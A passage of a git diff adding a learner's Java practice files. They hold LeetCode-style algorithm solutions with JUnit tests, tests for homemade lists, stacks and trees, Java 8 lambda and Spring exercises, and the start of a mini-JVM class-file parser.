+        Set<Character> set = new HashSet<>();
+        int ans = 0, i = 0, j = 0;
+        while (i < n && j < n) {
+            // try to extend the range [i, j]
+            if (!set.contains(s.charAt(j))){
+                set.add(s.charAt(j++));
+                ans = Math.max(ans, j - i);
+            }
+            else {
+                set.remove(s.charAt(i++));
+            }
+        }
+        return ans;
+    }
+    
+    /**
+	 * Sliding Window Optimized 
+	 * 
+	 * The above solution requires at most 2n steps. In fact, it could be
+	 * optimized to require only n steps. Instead of using a set to tell if a
+	 * character exists or not, we could define a mapping of the characters to
+	 * its index. Then we can skip the characters immediately when we found a
+	 * repeated character.
+	 * 
+	 * The reason is that if s[j] have a duplicate in the range [i,j)
+	 * with index j ​′ ​​ , we don't need to increase i little by little.
+	 * We can skip all the elements in the range [i,j ​′ ​​ ] and let i i
+	 * to be j ​′+1 directly.
+	 * 
+	 * @param s
+	 * @return
+	 */
+    public int leetCodeSolution3(String s){
+    	int n = s.length(), ans = 0;
+        Map<Character, Integer> map = new HashMap<>(); // current index of character
+        // try to extend the range [i, j]
+        for (int j = 0, i = 0; j < n; j++) {
+            if (map.containsKey(s.charAt(j))) {
+                i = Math.max(map.get(s.charAt(j)), i);
+            }
+            ans = Math.max(ans, j - i + 1);
+            map.put(s.charAt(j), j + 1);
+        }
+        return ans;
+    }
+    
+	/**
+	 * Java (Assuming ASCII 128)
+	 * 
+	 * The previous implements all have no assumption on the charset of the
+	 * string s.
+	 * 
+	 * If we know that the charset is rather small, we can replace the Map with
+	 * an integer array as direct access table.
+	 * 
+	 * Commonly used tables are:
+	 * 
+	 * int[26] for Letters 'a' - 'z' or 'A' - 'Z' 
+	 * int[128] for ASCII 
+	 * int[256] for Extended ASCII
+	 * 
+	 * @param s
+	 * @return
+	 */
+    public int leetCodeSolution4(String s) {
+        int n = s.length(), ans = 0;
+        int[] index = new int[128]; // current index of character
+        // try to extend the range [i, j]
+        for (int j = 0, i = 0; j < n; j++) {
+            i = Math.max(index[s.charAt(j)], i);
+            ans = Math.max(ans, j - i + 1);
+            index[s.charAt(j)] = j + 1;
+        }
+        return ans;
+    }
+    
+    
+	private LongestSubstringWithoutRepeatingCharacters lswrc;
+	@Before
+	public void setup(){
+		lswrc = new LongestSubstringWithoutRepeatingCharacters();
+	}
+	
+	@Test
+	public void testMySolution(){
+		Assert.assertEquals(3, lswrc.mySolution("abcabcbb"));
+		Assert.assertEquals(4, lswrc.mySolution("abcdabcdbbd"));
+	}
+	
+	@Test
+	public void testLeetcodeSolution3(){
+		Assert.assertEquals(3, lswrc.leetCodeSolution3("abcabcbb"));
+		Assert.assertEquals(4, lswrc.leetCodeSolution3("abcdabcdbbd"));
+	}
+	
+	@Test
+	public void testLeetcodeSolution4(){
+		Assert.assertEquals(3, lswrc.leetCodeSolution4("abcabcbb"));
+//		Assert.assertEquals(4, lswrc.leetCodeSolution4("abcdabcdbbd"));
+	}
+}
diff --git a/group23/1028361767/data-structure/src/com/coding/me/leetcode/algorithms/MedianOfTwoSortedArrays.java b/group23/1028361767/data-structure/src/com/coding/me/leetcode/algorithms/MedianOfTwoSortedArrays.java
new file mode 100644
index 0000000000..b80850e24a
--- /dev/null
+++ b/group23/1028361767/data-structure/src/com/coding/me/leetcode/algorithms/MedianOfTwoSortedArrays.java
@@ -0,0 +1,102 @@
+package com.coding.me.leetcode.algorithms;
+
+import org.junit.Before;
+import org.junit.Test;
+
+/**
+ * There are two sorted arrays nums1 and nums2 of size m and n respectively.
+ * 
+ * Find the median of the two sorted arrays. The overall run time complexity
+ * should be O(log (m+n)).
+ * 
+ * Example 1: nums1 = [1, 3] nums2 = [2]
+ * 
+ * The median is 2.0 Example 2: nums1 = [1, 2] nums2 = [3, 4]
+ * 
+ * The median is (2 + 3)/2 = 2.5
+ * 
+ * @author hewj
+ *
+ */
+public class MedianOfTwoSortedArrays {
+	
+	public double mySolution(int[] nums1, int[] nums2) {
+		int[] nums = new int[nums1.length + nums2.length];
+		int mid = nums.length/2;
+		int remain = nums.length%2;
+		int i=0,j=0;
+		int a,b;
+		int k=0;
+		while(i<nums1.length || j<nums2.length && k<mid){
+			if(i == nums1.length){
+				nums[k++] = nums2[j++];
+				continue;
+			}else if(j == nums2.length){
+				nums[k++] = nums1[i++];
+				continue;
+			}
+			a = nums1[i];
+			b = nums2[j];
+			if(a == b){
+				nums[k++] = a;
+				nums[k++] = a;
+				i++;
+				j++;
+			}else if(a < b){
+				nums[k++] = a;
+				i++;
+			}else{
+				nums[k++] = b;
+				j++;
+			}
+		}
+		if(remain != 0){
+			return nums[mid];
+		}
+		return (nums[mid] + nums[mid-1])/2.0;
+    }
+	
+	public static double otherSolution(int[] nums1, int[] nums2) {
+		int len1 = nums1.length, len2 = nums2.length, sumLen = len1 + len2;
+		if (sumLen % 2 != 0) {
+
+			return findKthSmallest(nums1, len1, 0, nums2, len2, 0, sumLen / 2 + 1);
+		} else {
+			return (findKthSmallest(nums1, len1, 0, nums2, len2, 0, sumLen / 2)
+					+ findKthSmallest(nums1, len1, 0, nums2, len2, 0, sumLen / 2 + 1)) / 2.0;
+		}
+
+	}
+	
+	public static int findKthSmallest(int[] a, int m, int begin1, int[] b, int n, int begin2, int k) {
+
+		if (m > n)
+			return findKthSmallest(b, n, begin2, a, m, begin1, k);
+		if (m == 0)
+			return b[begin2 + k - 1];
+		if (k == 1)
+			return Integer.min(a[begin1], b[begin2]);
+		int partA = Integer.min(k / 2, m), partB = k - partA;
+		if (a[begin1 + partA - 1] == b[begin2 + partB - 1])
+			return a[begin1 + partA - 1];
+		else if (a[begin1 + partA - 1] > b[begin2 + partB - 1])
+			return findKthSmallest(a, m, begin1, b, n - partB, begin2 + partB, k - partB);
+		else
+			return findKthSmallest(a, m - partA, begin1 + partA, b, n, begin2, k - partA);
+
+	}
+	
+	private MedianOfTwoSortedArrays motsa;
+	
+	@Before
+	public void setup(){
+		motsa = new MedianOfTwoSortedArrays();
+	}
+	
+	@Test
+	public void testMySolution(){
+		int[] nums1 = {2};
+		int[] nums2 = {1,3};
+		System.out.println(motsa.mySolution(nums1, nums2));
+	}
+}
diff --git a/group23/1028361767/data-structure/src/com/coding/me/leetcode/algorithms/OptimalDivision.java b/group23/1028361767/data-structure/src/com/coding/me/leetcode/algorithms/OptimalDivision.java
new file mode 100644
index 0000000000..8821941630
--- /dev/null
+++ b/group23/1028361767/data-structure/src/com/coding/me/leetcode/algorithms/OptimalDivision.java
@@ -0,0 +1,76 @@
+package com.coding.me.leetcode.algorithms;
+
+/**
+ * Given a list of positive integers, the adjacent integers will perform the
+ * float division. For example, [2,3,4] -> 2 / 3 / 4.
+ * 
+ * However, you can add any number of parenthesis at any position to change the
+ * priority of operations. You should find out how to add parenthesis to get the
+ * maximum result, and return the corresponding expression in string format.
+ * Your expression should NOT contain redundant parenthesis.
+ * 
+ * Example: Input: [1000,100,10,2] Output: "1000/(100/10/2)" Explanation:
+ * 1000/(100/10/2) = 1000/((100/10)/2) = 200 However, the bold parenthesis in
+ * "1000/((100/10)/2)" are redundant, since they don't influence the operation
+ * priority. So you should return "1000/(100/10/2)".
+ * 
+ * Other cases: 1000/(100/10)/2 = 50 1000/(100/(10/2)) = 50 1000/100/10/2 = 0.5
+ * 1000/100/(10/2) = 2 Note:
+ * 
+ * The length of the input array is [1, 10]. Elements in the given array will be
+ * in range [2, 1000]. There is only one optimal division for each test case.
+ * 
+ * @author hewj
+ *
+ */
+public class OptimalDivision {
+	
+	public static String mySolution(int[] nums) {
+        if(nums.length == 0 || nums.length > 10) {
+        	return "";
+        }
+        if(nums.length == 1) {
+        	return "" + nums[0];
+        }
+        straightInsertionSort(nums);
+        StringBuilder sb = new StringBuilder();
+        sb.append(nums[0]).append("/");
+        if(nums.length == 2){
+        	sb.append(nums[1]);
+        }else{
+        	sb.append("(");
+        	for(int k=1;k<nums.length;k++){
+        		sb.append(nums[k]);
+        		if(k == nums.length - 1){
+        			sb.append(")");
+        		}else{
+        			sb.append("/");
+        		}
+        	}
+        }
+		return sb.toString();
+    }
+
+	private static void straightInsertionSort(int[] nums) {
+		for(int i=0;i<nums.length;i++){
+        	int max = nums[i];
+        	int pos = i;
+        	for(int j=i+1;j<nums.length;j++){
+        		if(max < nums[j]){
+        			max = nums[j];
+        			pos = j;
+        		}
+        	}
+        	if(pos != i) {
+        		int tmp = nums[i];
+        		nums[i] = nums[pos];
+        		nums[pos] = tmp;
+        	}
+        }
+	}
+	
+	public static void main(String[] args) {
+		int[] nums = {1000,100,2,10};
+		mySolution(nums);
+	}
+}
diff --git a/group23/1028361767/data-structure/src/com/coding/me/leetcode/algorithms/StudentAttendanceRecord1.java b/group23/1028361767/data-structure/src/com/coding/me/leetcode/algorithms/StudentAttendanceRecord1.java
new file mode 100644
index 0000000000..f6f1ac37fa
--- /dev/null
+++ b/group23/1028361767/data-structure/src/com/coding/me/leetcode/algorithms/StudentAttendanceRecord1.java
@@ -0,0 +1,46 @@
+package com.coding.me.leetcode.algorithms;
+
+import java.util.ArrayList;
+import java.util.List;
+
+/**
+ * You are given a string representing an attendance record for a student. The
+ * record only contains the following three characters:
+ * 
+ * 'A' : Absent. 'L' : Late. 'P' : Present. A student could be rewarded if his
+ * attendance record doesn't contain more than one 'A' (absent) or more than two
+ * continuous 'L' (late).
+ * 
+ * You need to return whether the student could be rewarded according to his
+ * attendance record.
+ * 
+ * Example 1: Input: "PPALLP" Output: True Example 2: Input: "PPALLL" Output:
+ * False
+ */
+public class StudentAttendanceRecord1 {
+	
+	public static boolean mySolution(String s) {
+		char[] cs = s.toCharArray();
+		int aCount = 0;
+		List<Character> lList = new ArrayList<>();
+		for(int i=0;i<cs.length;i++){
+			if(cs[i] == 65){
+				aCount++;
+				lList.clear();
+			}
+			else if(cs[i] == 76){
+				lList.add(cs[i]);
+			}
+			else
+				lList.clear();
+			if(aCount > 1 || lList.size() > 2){
+				return false;
+			}
+		}
+		return true;
+	}
+	
+	public static void main(String[] args) {
+		System.out.println(mySolution("LPLPLPLPLPL"));
+	}
+}
diff --git a/group23/1028361767/data-structure/src/com/coding/me/leetcode/algorithms/TwoSum.java b/group23/1028361767/data-structure/src/com/coding/me/leetcode/algorithms/TwoSum.java
new file mode 100644
index 0000000000..d91eb869fb
--- /dev/null
+++ b/group23/1028361767/data-structure/src/com/coding/me/leetcode/algorithms/TwoSum.java
@@ -0,0 +1,102 @@
+package com.coding.me.leetcode.algorithms;
+
+import java.lang.ref.WeakReference;
+import java.util.ArrayList;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+
+/**
+ * Given an array of integers, return indices of the two numbers such that
+ * they add up to a specific target.
+ * 
+ * You may assume that each input would have exactly one solution, and you
+ * may not use the same element twice.
+ * 
+ * Example: Given nums = [2, 7, 11, 15], target = 9,
+ * 
+ * Because nums[0] + nums[1] = 2 + 7 = 9, return [0, 1]. Subscribe to see
+ * which companies asked this question.
+ */
+public class TwoSum {
+	/**
+	 * Time complexity : O(n^2)
+	 * Space complexity : O(1)
+	 * @param nums
+	 * @param target
+	 * @return
+	 */
+	public int[] mySolution(int[] nums, int target) {
+        int[] ret = new int[2];
+        for(int i=0;i<nums.length;i++){
+            for(int j=1;j<nums.length;j++){
+                if(i != j && target == nums[i]+nums[j]){
+                    ret[0] = i;
+                    ret[1] = j;
+                    return ret;
+                }
+            }
+        }
+        return ret;
+    }
+	
+	/**
+	 * two pass hash table
+	 * Time complexity : O(n)
+	 * Space complexity : O(n)
+	 * @param nums
+	 * @param target
+	 * @return
+	 */
+	public int[] leetCodeSolution1(int[] nums, int target) {
+		Map<Integer, Integer> map = new HashMap<>();
+		for (int i = 0; i < nums.length; i++) {
+			map.put(nums[i], i);
+		}
+		for (int i = 0; i < nums.length; i++) {
+			int complement = target - nums[i];
+			if (map.containsKey(complement) && map.get(complement) != i) {
+				return new int[] { i, map.get(complement) };
+			}
+		}
+		throw new IllegalArgumentException("No two sum solution");
+	}
+	
+	/**
+	 * one pass hash table
+	 * Time complexity : O(n)
+	 * Space complexity : O(n)
+	 * @param nums
+	 * @param target
+	 * @return
+	 */
+	public int[] leetCodeSolution2(int[] nums, int target) {
+		Map<Integer, Integer> map = new HashMap<>();
+	    for (int i = 0; i < nums.length; i++) {
+	        int complement = target - nums[i];
+	        if (map.containsKey(complement)) {
+	            return new int[] { map.get(complement), i };
+	        }
+	        map.put(nums[i], i);
+	    }
+	    throw new IllegalArgumentException("No two sum solution");
+	}
+	
+	
+	public static void main(String[] args) throws InterruptedException {
+//		String s = new String("字符串在内存中");
+		List s = new ArrayList();
+		s.add(new Object());
+		WeakReference<Object> wr = new WeakReference<Object>(s.get(0));
+		
+//		Thread.sleep(500);
+		System.out.println(wr.get());
+		
+		s.remove(0);
+		System.gc();
+		
+		System.out.println(wr.get());
+//		Thread.sleep(500);
+//		System.out.println(wr.get());
+	}
+}
diff --git a/group23/1028361767/data-structure/src/test/com/coding/basic/TestArrayList.java b/group23/1028361767/data-structure/src/test/com/coding/basic/TestArrayList.java
new file mode 100644
index 0000000000..791157d0d6
--- /dev/null
+++ b/group23/1028361767/data-structure/src/test/com/coding/basic/TestArrayList.java
@@ -0,0 +1,61 @@
+package test.com.coding.basic;
+
+import org.junit.Assert;
+import org.junit.Test;
+
+import com.coding.basic.array.ArrayList;
+
+public class TestArrayList {
+
+    @Test
+    public void testAdd() {
+        ArrayList list = new ArrayList();
+        int i = 0;
+        for (; i < 1000; i++) {
+            list.add(new Object());
+        }
+        Assert.assertTrue(list.size() == i);
+    }
+
+    @Test
+    public void testGet() {
+        ArrayList list = new ArrayList();
+        int i = 0;
+        for (; i < 10; i++) {
+            list.add(new Object());
+        }
+        Assert.assertFalse(list.get(5) == null);
+        try {
+            list.get(10);
+            Assert.assertTrue(false);
+        } catch (IndexOutOfBoundsException e) {
+            Assert.assertTrue(true);
+        }
+    }
+
+    @Test
+    public void testAddWithIndex() {
+        ArrayList list = new ArrayList();
+        int i = 0;
+        for (; i < 10; i++) {
+            list.add(new Object());
+        }
+        Object obj = list.get(5);
+        list.add(5, new Object());
+        Assert.assertTrue(list.size() == (i + 1));
+        Assert.assertTrue(obj == list.get(6));
+    }
+
+    @Test
+    public void testRemove() {
+        ArrayList list = new ArrayList();
+        int i = 0;
+        for (; i < 10; i++) {
+            list.add(i);
+        }
+        Object tempObj = list.get(5);
+        Assert.assertTrue(tempObj == list.remove(5));
+        Assert.assertTrue(list.size() == (i - 1));
+        Assert.assertTrue((int) list.get(list.size() - 1) == (i - 1));
+    }
+}
diff --git a/group23/1028361767/data-structure/src/test/com/coding/basic/TestBinaryTreeNode.java b/group23/1028361767/data-structure/src/test/com/coding/basic/TestBinaryTreeNode.java
new file mode 100644
index 0000000000..a137ceffb8
--- /dev/null
+++ b/group23/1028361767/data-structure/src/test/com/coding/basic/TestBinaryTreeNode.java
@@ -0,0 +1,37 @@
+package test.com.coding.basic;
+
+import com.coding.basic.BinaryTreeNode;
+import org.junit.Test;
+
+public class TestBinaryTreeNode {
+
+    @Test
+    public void testInsert() {
+        BinaryTreeNode binaryTree = new BinaryTreeNode(5);
+        binaryTree.insert(2);
+        binaryTree.insert(7);
+        binaryTree.insert(1);
+        binaryTree.insert(6);
+
+        printNode(binaryTree);
+
+        binaryTree.insert(4);
+        binaryTree.insert(8);
+
+        System.out.println("*************************");
+        printNode(binaryTree);
+    }
+
+    private void printNode(BinaryTreeNode node) {
+        System.out.print("node's data is " + node.getDataIntVal());
+        System.out.println("   ,node's parent' data is " + (node.getParent() == null ? "null" : node.getParent().getDataIntVal()));
+        if (node.getLeft() != null) {
+            System.out.println("find left child node.");
+            printNode(node.getLeft());
+        }
+        if (node.getRight() != null) {
+            System.out.println("find right child node.");
+            printNode(node.getRight());
+        }
+    }
+}
diff --git a/group23/1028361767/data-structure/src/test/com/coding/basic/TestLinkedList.java b/group23/1028361767/data-structure/src/test/com/coding/basic/TestLinkedList.java
new file mode 100644
index 0000000000..3a4a79ba0d
--- /dev/null
+++ b/group23/1028361767/data-structure/src/test/com/coding/basic/TestLinkedList.java
@@ -0,0 +1,176 @@
+package test.com.coding.basic;
+
+import static org.junit.Assert.fail;
+
+import org.junit.Assert;
+import org.junit.Test;
+
+import com.coding.basic.linklist.LinkedList;
+
+public class TestLinkedList {
+	
+	@Test
+	public void testReverse(){
+		LinkedList list = new LinkedList();
+		list.add(3);
+		list.add(7);
+		list.add(10);
+		list.reverse();
+		Assert.assertEquals("10,7,3", list.toString());
+		Assert.assertEquals("10", list.get(0).toString());
+	}
+	
+	@Test
+	public void testRemoveFirstHalf(){
+		LinkedList list = new LinkedList();
+		list.add(3);
+		list.add(7);
+		list.add(10);
+		list.add(12);
+		list.add(15);
+		list.removeFirstHalf();
+		Assert.assertEquals("10", list.get(0).toString());
+		Assert.assertEquals("10,12,15", list.toString());
+		Assert.assertEquals(3, list.size());
+	}
+	
+	@Test
+	public void testRemoveByLength(){
+		LinkedList list = new LinkedList();
+		list.add(3);
+		list.add(7);
+		list.add(10);
+		list.add(12);
+		list.add(15);
+		list.remove(0, 2);
+		Assert.assertEquals("10", list.get(0).toString());
+		Assert.assertEquals("10,12,15", list.toString());
+		Assert.assertEquals(3, list.size());
+		
+		list.remove(1, 1);
+		Assert.assertEquals("10", list.get(0).toString());
+		Assert.assertEquals("10,15", list.toString());
+		Assert.assertEquals(2, list.size());
+	}
+	
+	@Test
+	public void testGetElements(){
+		LinkedList list = new LinkedList();
+		list.add(0);
+		list.add(1);
+		list.add(2);
+		list.add(3);
+		list.add(4);
+		list.add(5);
+		list.add(6);
+		
+		LinkedList indices = new LinkedList();
+		indices.add(1);
+		indices.add(3);
+		indices.add(4);
+		indices.add(6);
+		int[] elements = list.getElements(indices);
+		StringBuilder sb = new StringBuilder();
+		for(int i=0;i<elements.length;i++){
+			sb.append(elements[i]).append(",");
+		}
+		String elementsStr = sb.length() == 0?"" : sb.substring(0, sb.length() - 1);
+		Assert.assertEquals("1,3,4,6", elementsStr);
+		try{
+			indices.add(7);
+			list.getElements(indices);
+			fail("下标越界，没抛出异常");
+		}catch(IndexOutOfBoundsException e){
+			
+		}
+	}
+	
+	@Test
+	public void testSubtract(){
+		LinkedList list = new LinkedList();
+		list.add(0);
+		list.add(1);
+		list.add(2);
+		list.add(3);
+		list.add(4);
+		list.add(5);
+		list.add(6);
+		
+		LinkedList indices = new LinkedList();
+		indices.add(1);
+		indices.add(3);
+		indices.add(4);
+		indices.add(6);
+		
+		list.subtract(indices);
+		Assert.assertEquals("0,2,5", list.toString());
+		Assert.assertEquals(3, list.size());
+	}
+	
+	@Test
+	public void testRemoveDuplicateValues(){
+		LinkedList list = new LinkedList();
+		list.add(0);
+		list.add(0);
+		list.add(1);
+		list.add(2);
+		list.add(2);
+		list.add(3);
+		list.add(4);
+		list.add(4);
+		list.add(4);
+		list.add(5);
+		list.add(6);
+		list.add(6);
+		list.removeDuplicateValues();
+		Assert.assertEquals("0,1,2,3,4,5,6", list.toString());
+		Assert.assertEquals(7, list.size());
+	}
+	
+	@Test
+	public void testRemoveRange(){
+		LinkedList list = new LinkedList();
+		for(int i=0;i<10000;i++){
+			list.add(i);
+		}
+		list.removeRange(200, 900);//0-200=201,901-9999=9099
+		
+//		Assert.assertEquals("0,1,2,3,6", list.toString());
+		Assert.assertEquals(9300, list.size());
+	}
+	
+	@Test
+	public void testRemoveRange1(){
+		LinkedList list = new LinkedList();
+		for(int i=0;i<10000;i++){
+			list.add(i);
+		}
+//		list.removeRange(200, 900);//0-200=201,901-9999=9099
+		for(int i=201;i<901;i++){
+			list.remove(i);
+		}
+		
+		Assert.assertEquals(9300, list.size());
+	}
+	
+	@Test
+	public void testIntersection(){
+		LinkedList list1 = new LinkedList();
+		list1.add(0);
+		list1.add(1);
+		list1.add(2);
+		list1.add(3);
+		list1.add(5);
+		list1.add(6);
+		
+		LinkedList list2 = new LinkedList();
+		list2.add(1);
+		list2.add(2);
+		list2.add(4);
+		list2.add(5);
+		
+		LinkedList list3 = list1.intersection(list2);
+		
+		Assert.assertEquals("1,2,5", list3.toString());
+	}
+}
diff --git a/group23/1028361767/data-structure/src/test/com/coding/basic/stack/TestStackUtil.java b/group23/1028361767/data-structure/src/test/com/coding/basic/stack/TestStackUtil.java
new file mode 100644
index 0000000000..48a6be9b5f
--- /dev/null
+++ b/group23/1028361767/data-structure/src/test/com/coding/basic/stack/TestStackUtil.java
@@ -0,0 +1,63 @@
+package test.com.coding.basic.stack;
+
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+import com.coding.basic.stack.Stack;
+import com.coding.basic.stack.StackUtil;
+
+public class TestStackUtil {
+	
+	@Before
+	public void setup(){
+		
+	}
+	
+	@Test
+	public void testReverse(){
+		Stack s = new Stack();
+		s.push(1);
+		s.push(2);
+		s.push(3);
+		s.push(4);
+		s.push(5);
+		StackUtil.reverse(s);
+		Assert.assertEquals("5,4,3,2,1", s.toString());
+	}
+	
+	@Test
+	public void testRemoveObj(){
+		Stack s = new Stack();
+		s.push(1);
+		s.push(2);
+		s.push(3);
+		s.push(4);
+		s.push(5);
+		StackUtil.remove(s, 3);
+		Assert.assertEquals("1,2,4,5", s.toString());
+		StackUtil.remove(s, 6);
+		Assert.assertEquals("1,2,4,5", s.toString());
+	}
+	
+	@Test
+	public void testGetTop(){
+		Stack s = new Stack();
+		s.push(1);
+		s.push(2);
+		s.push(3);
+		s.push(4);
+		s.push(5);
+		Object[] objs = StackUtil.getTop(s, 2);
+		Assert.assertEquals("1,2,3,4,5", s.toString());
+		Assert.assertEquals(2, objs.length);
+		Assert.assertEquals(5, objs[0]);
+		Assert.assertEquals(4, objs[1]);
+ 	}
+	
+	@Test
+	public void testIsValidPairs(){
+		Assert.assertEquals(true, StackUtil.isValidPairs("([e{d}{f}])"));
+		Assert.assertEquals(false, StackUtil.isValidPairs("([b{x[]y})"));
+	}
+}
diff --git a/group23/1028361767/java8-function-coding/src/me/practise/chapter2.java b/group23/1028361767/java8-function-coding/src/me/practise/chapter2.java
new file mode 100644
index 0000000000..0782af1510
--- /dev/null
+++ b/group23/1028361767/java8-function-coding/src/me/practise/chapter2.java
@@ -0,0 +1,44 @@
+package me.practise;
+
+import java.awt.event.ActionListener;
+import java.util.function.BinaryOperator;
+import java.util.function.Predicate;
+
+public class chapter2 {
+	
+	public static void main(String[] args) {
+		Runnable noArg = () -> System.out.println("runnable with no argument.");
+		Thread thread = new Thread(noArg);
+		thread.start();
+		
+		ActionListener oneArg = event -> System.out.println("actionListener with one argument.");
+		
+		Runnable multiStatement = () -> {
+			System.out.println("Runnable with multi statement.");
+			System.out.println("Hello Java8!");
+		};
+		BinaryOperator<Long> add = (x, y) -> x + y;
+		BinaryOperator<Long> addExplicit = (Long x, Long y) -> x + y;
+		
+		String name = "abc";
+		name = "def";
+		//ActionListener oneArg1 = event -> System.out.println("actionListener with one argument." + name);
+		// 编译无法通过：方法块中使用的变量必须使用final声明或既成事实的final变量，即变成赋值成功后不能再赋值
+		
+		
+		Predicate<Integer> atLeast5 = x -> x > 5;
+		System.out.println(atLeast5.test(6));
+		
+//		BinaryOperator addE = (x,y) -> x + y;//编译不通过
+		BinaryOperator<Long> addLongs = (x,y) -> x + y;
+		
+	}
+	
+	interface IntPred {
+		boolean test(Integer value);
+	}
+	interface A {
+		boolean check(Predicate<Integer> predicate);
+		boolean check(IntPred predicate);
+	}
+}
diff --git a/group23/1028361767/learn-spring/src/practise/chapter1/HelloService.java b/group23/1028361767/learn-spring/src/practise/chapter1/HelloService.java
new file mode 100644
index 0000000000..c6d60e339c
--- /dev/null
+++ b/group23/1028361767/learn-spring/src/practise/chapter1/HelloService.java
@@ -0,0 +1,35 @@
+package practise.chapter1;
+
+import java.util.List;
+
+public class HelloService {
+	
+	private String target;
+	
+	private List<String> targets;
+	
+	public HelloService(String target){
+		this.target = target;
+	}
+	
+	public String say(){
+		return "hello " + this.target;
+	}
+
+	public String getTarget() {
+		return target;
+	}
+
+	public void setTarget(String target) {
+		this.target = target;
+	}
+
+	public List<String> getTargets() {
+		return targets;
+	}
+
+	public void setTargets(List<String> targets) {
+		this.targets = targets;
+	}
+	
+}
diff --git a/group23/1028361767/learn-spring/src/practise/chapter1/HelloWorldService.java b/group23/1028361767/learn-spring/src/practise/chapter1/HelloWorldService.java
new file mode 100644
index 0000000000..390a7b7e68
--- /dev/null
+++ b/group23/1028361767/learn-spring/src/practise/chapter1/HelloWorldService.java
@@ -0,0 +1,9 @@
+package practise.chapter1;
+
+public class HelloWorldService {
+	
+	public String hello(){
+		System.out.println("Hello Spring!");
+		return "hello";
+	}
+}
diff --git a/group23/1028361767/learn-spring/src/test/practise/Test1.java b/group23/1028361767/learn-spring/src/test/practise/Test1.java
new file mode 100644
index 0000000000..7867ac294d
--- /dev/null
+++ b/group23/1028361767/learn-spring/src/test/practise/Test1.java
@@ -0,0 +1,39 @@
+package test.practise;
+
+import org.junit.Assert;
+import org.junit.Test;
+import org.springframework.context.ApplicationContext;
+import org.springframework.context.support.ClassPathXmlApplicationContext;
+
+import practise.chapter1.HelloService;
+import practise.chapter1.HelloWorldService;
+
+public class Test1 {
+	
+	ApplicationContext context = new ClassPathXmlApplicationContext("practise/chapter1.xml");
+	
+	@Test
+	public void testHello(){
+		HelloWorldService helloWorldService = context.getBean("helloWorldService", HelloWorldService.class);
+		Assert.assertEquals("hello", helloWorldService.hello());
+		HelloWorldService helloWorldService1 = context.getBean("helloWorldService1", HelloWorldService.class);
+		Assert.assertEquals("hello", helloWorldService1.hello());
+		HelloWorldService helloWorldService2 = context.getBean("helloWorldService2", HelloWorldService.class);
+		Assert.assertEquals("hello", helloWorldService2.hello());
+		String[] alias = context.getAliases("helloWorldService");
+		Assert.assertEquals(2, alias.length);
+		for(String alia : alias){
+			System.out.println(alia);
+		}
+	}
+	
+	@Test
+	public void testSay(){
+		HelloService helloService = context.getBean("helloService", HelloService.class);
+		Assert.assertEquals("hello spring3", helloService.say());
+		for(String target : helloService.getTargets()){
+			System.out.println(target);
+		}
+		Assert.assertEquals(3, helloService.getTargets().size());
+	}
+}
diff --git a/group23/1028361767/mini-jvm/src/com/coderising/jvm/attr/AttributeInfo.java b/group23/1028361767/mini-jvm/src/com/coderising/jvm/attr/AttributeInfo.java
new file mode 100644
index 0000000000..88f60c77f6
--- /dev/null
+++ b/group23/1028361767/mini-jvm/src/com/coderising/jvm/attr/AttributeInfo.java
@@ -0,0 +1,19 @@
+package com.coderising.jvm.attr;
+
+public abstract class AttributeInfo {
+	public static final String CODE = "Code";
+	public static final String CONST_VALUE = "ConstantValue";
+	public static final String EXCEPTIONS = "Exceptions";
+	public static final String LINE_NUM_TABLE = "LineNumberTable";
+	public static final String LOCAL_VAR_TABLE = "LocalVariableTable";
+	public static final String STACK_MAP_TABLE = "StackMapTable";
+	int attrNameIndex;				
+	int attrLen ;
+	public AttributeInfo(int attrNameIndex, int attrLen) {
+		
+		this.attrNameIndex = attrNameIndex;
+		this.attrLen = attrLen;
+	}
+	
+	
+}
diff --git a/group23/1028361767/mini-jvm/src/com/coderising/jvm/attr/CodeAttr.java b/group23/1028361767/mini-jvm/src/com/coderising/jvm/attr/CodeAttr.java
new file mode 100644
index 0000000000..e5d5e522ee
--- /dev/null
+++ b/group23/1028361767/mini-jvm/src/com/coderising/jvm/attr/CodeAttr.java
@@ -0,0 +1,89 @@
+package com.coderising.jvm.attr;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.cmd.ByteCodeCommand;
+import com.coderising.jvm.cmd.CommandParser;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.loader.ByteCodeIterator;
+
+
+public class CodeAttr extends AttributeInfo {
+	private int maxStack ;
+	private int maxLocals ;
+	private int codeLen ;
+	private String code;
+	public String getCode() {
+		return code;
+	}
+
+	private ByteCodeCommand[] cmds ;
+	public ByteCodeCommand[] getCmds() {
+		return cmds;
+	}
+	private LineNumberTable lineNumTable;
+	private LocalVariableTable localVarTable;
+	private StackMapTable stackMapTable;
+	
+	public CodeAttr(int attrNameIndex, int attrLen, int maxStack, int maxLocals, int codeLen, String code, ByteCodeCommand[] cmds) {
+		super(attrNameIndex, attrLen);
+		this.maxStack = maxStack;
+		this.maxLocals = maxLocals;
+		this.codeLen = codeLen;
+		this.code = code;
+		this.cmds = cmds;
+	}
+
+	public void setLineNumberTable(LineNumberTable t) {
+		this.lineNumTable = t;
+	}
+
+	public void setLocalVariableTable(LocalVariableTable t) {
+		this.localVarTable = t;		
+	}
+	
+	public static CodeAttr parse(ClassFile clzFile, ByteCodeIterator iter){
+		int attrNameIndex = iter.nextU2ToInt();
+		int attrLen = iter.nextU4ToInt();
+		int maxStack = iter.nextU2ToInt();
+		int maxLocals = iter.nextU2ToInt();
+		int codeLen = iter.nextU4ToInt();
+
+		String code = iter.nextUxToHexString(codeLen);
+		ByteCodeCommand[] commands = CommandParser.parse(clzFile, code);
+		
+		CodeAttr attr = new CodeAttr(attrNameIndex, attrLen, maxStack, maxLocals, codeLen, code, commands);
+		int expTableLen = iter.nextU2ToInt();
+		if(expTableLen > 0){
+			String expTable = iter.nextUxToHexString(expTableLen);
+			System.out.println("expTable: " + expTable);
+			// TODO 异常表处理
+		}
+		int subAttrCount = iter.nextU2ToInt();
+		ConstantPool pool = clzFile.getConstantPool();
+		for (int i = 1; i <= subAttrCount; i++) {
+			int subAttrNameIndex = iter.nextU2ToInt();
+			String subAttrName = pool.getUTF8String(subAttrNameIndex);
+			iter.back(2);
+			if(AttributeInfo.LINE_NUM_TABLE.equalsIgnoreCase(subAttrName)){
+				attr.setLineNumberTable(LineNumberTable.parse(iter));
+			}else if(AttributeInfo.LOCAL_VAR_TABLE.equalsIgnoreCase(subAttrName)){
